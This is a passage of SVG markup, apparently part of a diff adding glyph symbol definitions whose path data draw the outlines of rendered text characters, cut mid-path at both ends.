C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.578125 -1.171875 L 3.9375 -7.078125 L 4.5625 -7.859375 L 0.578125 -7.859375 L 0.578125 -9.03125 L 5.859375 -9.03125 L 5.859375 -7.859375 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.859375 -1.171875 L 5.859375 0 L 0.578125 0 Z M 0.578125 -1.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.15625 -12.515625 C 1.550781 -12.609375 1.984375 -12.675781 2.453125 -12.71875 C 2.929688 -12.757812 3.375 -12.78125 3.78125 -12.78125 C 4.25 -12.78125 4.691406 -12.722656 5.109375 -12.609375 C 5.535156 -12.492188 5.90625 -12.300781 6.21875 -12.03125 C 6.53125 -11.757812 6.78125 -11.40625 6.96875 -10.96875 C 7.15625 -10.53125 7.25 -9.976562 7.25 -9.3125 C 7.25 -8.320312 7.039062 -7.523438 6.625 -6.921875 C 6.207031 -6.316406 5.65625 -5.910156 4.96875 -5.703125 L 5.65625 -5.046875 L 8.140625 0 L 6.578125 0 L 3.859375 -5.515625 L 2.515625 -5.78125 L 2.515625 0 L 1.15625 0 Z M 2.515625 -6.6875 L 3.59375 -6.6875 C 4.28125 -6.6875 4.820312 -6.894531 5.21875 -7.3125 C 5.613281 -7.738281 5.8125 -8.382812 5.8125 -9.25 C 5.8125 -9.90625 5.644531 -10.453125 5.3125 -10.890625 C 4.988281 -11.328125 4.5 -11.546875 3.84375 -11.546875 C 3.601562 -11.546875 3.351562 -11.535156 3.09375 -11.515625 C 2.832031 -11.492188 2.640625 -11.46875 2.515625 -11.4375 Z M 2.515625 -6.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 6.75 3.609375 L 5.453125 3.609375 L 5.453125 -0.734375 L 5.375 -0.734375 C 5.1875 -0.429688 4.941406 -0.195312 4.640625 -0.03125 C 4.347656 0.132812 3.96875 0.21875 3.5 0.21875 C 2.550781 0.21875 1.84375 -0.160156 1.375 -0.921875 C 0.90625 -1.691406 0.671875 -2.878906 0.671875 -4.484375 C 0.671875 -6.035156 0.976562 -7.207031 1.59375 -8 C 2.207031 -8.789062 3.097656 -9.1875 4.265625 -9.1875 C 4.765625 -9.1875 5.242188 -9.125 5.703125 -9 C 6.160156 -8.882812 6.507812 -8.765625 6.75 -8.640625 Z M 5.453125 -7.71875 C 5.117188 -7.914062 4.644531 -8.015625 4.03125 -8.015625 C 3.40625 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.6875 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.515625 2.109375 -3.078125 C 2.171875 -2.648438 2.269531 -2.273438 2.40625 -1.953125 C 2.550781 -1.640625 2.734375 -1.394531 2.953125 -1.21875 C 3.171875 -1.039062 3.445312 -0.953125 3.78125 -0.953125 C 4.238281 -0.953125 4.597656 -1.082031 4.859375 -1.34375 C 5.117188 -1.613281 5.316406 -2.003906 5.453125 -2.515625 Z M 5.453125 -7.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 